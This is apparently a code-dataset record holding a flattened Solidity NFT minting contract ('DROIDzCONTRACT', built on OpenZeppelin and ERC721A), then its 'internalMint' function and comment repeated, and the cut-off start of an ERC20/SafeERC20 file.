memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol // Creator: Chiru Labs pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(address to, uint256 quantity) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: https://github.com/chiru-labs/ERC721A/blob/main/contracts/extensions/ERC721APausable.sol // Creator: Chiru Labs pragma solidity ^0.8.4; error ContractPaused(); /** * @dev ERC721A token with pausable token transfers, minting and burning. * * Based off of OpenZeppelin's ERC721Pausable extension. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721APausable is ERC721A, Pausable { /** * @dev See {ERC721A-_beforeTokenTransfers}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual override { super._beforeTokenTransfers(from, to, startTokenId, quantity); if (paused()) revert ContractPaused(); } } // File: contracts/DROIDzWORLD.sol pragma solidity >=0.8.0 <0.9.0; contract DROIDzCONTRACT is ERC721APausable, Ownable, ReentrancyGuard { uint256 public price = 0.18 ether; uint256 public maxSupply = 6670; uint256 public maxMintAmount = 1; bool public publicSaleActive = false; bool public preSaleActive = false; bool public reveal = false; uint256 private totalSupplyForTeam; uint256 private maxSupplyForTeam = 100; string private baseTokenURI = "https://droidzworld.mypinata.cloud/ipfs/QmRRQ8fYaCAgatUgFhHmavEtCAEE8MnMcR2nyxHp6qstKQ"; string private baseExtension = ".json"; bytes32 private merkleRoot = 0xb1a5fae8a4a1eb0d750bfb9d78434ad81a050a0d3266c09ed179c610c4101a95; mapping(address => uint256) private NFTMinters; mapping(address => uint256) private PreSaleMinters; constructor( string memory _name, string memory _symbol, string memory _baseTokenURI ) ERC721A(_name, _symbol) { baseTokenURI = _baseTokenURI; } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } modifier publicSaleIsOpen { require(publicSaleActive, "Public Sale is not open"); _; } modifier preSaleIsOpen { require(preSaleActive, "Pre-Sale minting is not open"); _; } modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } modifier isValidRequest(uint256 _mintAmount) { require((totalSupply() + _mintAmount) <= maxSupply, "Not Enough Left"); require((NFTMinters[msg.sender] + _mintAmount) <= maxMintAmount, "Over Max Mint Limit"); require(msg.value >= price * _mintAmount, "Amount of ether sent not correct."); _; } function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory) { require(_exists(tokenId),"URI query for nonexistent token"); string memory currentBaseURI = _baseURI(); if(reveal == false) { return currentBaseURI; } return string(abi.encodePacked(currentBaseURI, Strings.toString(tokenId), baseExtension)); } // Used by web app for display function tokensOfOwner(address owner) external view returns (uint256[] memory) { unchecked { uint256 tokenIdsIdx; address currOwnershipAddr; uint256 tokenIdsLength = balanceOf(owner); uint256[] memory tokenIds = new uint256[](tokenIdsLength); TokenOwnership memory ownership; for (uint256 i = _startTokenId(); tokenIdsIdx != tokenIdsLength; ++i) { ownership = _ownerships[i]; if (ownership.burned) { continue; } if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { tokenIds[tokenIdsIdx++] = i; } } return tokenIds; } } // Internal for marketing, devs, etc function internalMint(uint256 _mintAmount, address _to) external onlyOwner nonReentrant { require(totalSupplyForTeam + _mintAmount <= maxSupplyForTeam, "Exceeded max supply for team"); require(totalSupply() + _mintAmount <= maxSupply, "Exceeded max supply"); _safeMint(_to, _mintAmount); totalSupplyForTeam += _mintAmount; } // public mint function publicMint(uint256 _mintAmount) external payable publicSaleIsOpen callerIsUser isValidRequest(_mintAmount) nonReentrant { _safeMint(msg.sender, _mintAmount); NFTMinters[msg.sender] = NFTMinters[msg.sender] + _mintAmount; } // pre mint, merkle proofed function preSaleMint(bytes32[] calldata _merkleProof, uint256 _mintAmount) external payable preSaleIsOpen isValidRequest(_mintAmount) nonReentrant { bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid proof."); require((PreSaleMinters[msg.sender] + _mintAmount) <= maxMintAmount, "Over Max PreSale Limit"); _safeMint(msg.sender, _mintAmount); PreSaleMinters[msg.sender] = PreSaleMinters[msg.sender] + _mintAmount; } function preSaleBalance(address owner) external view returns (uint256) { return PreSaleMinters[owner]; } function publicSaleBalance(address owner) external view returns (uint256) { return NFTMinters[owner]; } // used by web app function verifyWLUser(bytes32[] calldata _merkleProof) public view returns(bool) { bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); return MerkleProof.verify(_merkleProof, merkleRoot, leaf); } function setPrice(uint256 _newPrice) external onlyOwner { price = _newPrice; } function setMaxSupply(uint256 _newSupply) external onlyOwner { maxSupply = _newSupply; } function setMaxSupplyForTeam(uint256 _newSupply) external onlyOwner { maxSupplyForTeam = _newSupply; } function setMaxMintAmount(uint256 _newMaxMintAmount) external onlyOwner { maxMintAmount = _newMaxMintAmount; } function setBaseURI(string memory _newBaseURI, bool setRevealTrue) external onlyOwner { baseTokenURI = _newBaseURI; if (setRevealTrue) { reveal = setRevealTrue; } } function setPublicSaleActiveState(bool _state) external onlyOwner { publicSaleActive = _state; } function setPreSaleActiveState(bool _state) external onlyOwner { preSaleActive = _state; } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { merkleRoot = _merkleRoot; } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function withdraw() external onlyOwner { uint256 balance = address(this).balance; require(balance > 0, "No ether left to withdraw"); payable(msg.sender).transfer(balance); } }
Internal for marketing, devs, etc
function internalMint(uint256 _mintAmount, address _to) external onlyOwner nonReentrant { require(totalSupplyForTeam + _mintAmount <= maxSupplyForTeam, "Exceeded max supply for team"); require(totalSupply() + _mintAmount <= maxSupply, "Exceeded max supply"); _safeMint(_to, _mintAmount); totalSupplyForTeam += _mintAmount; }
6,809,340
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its 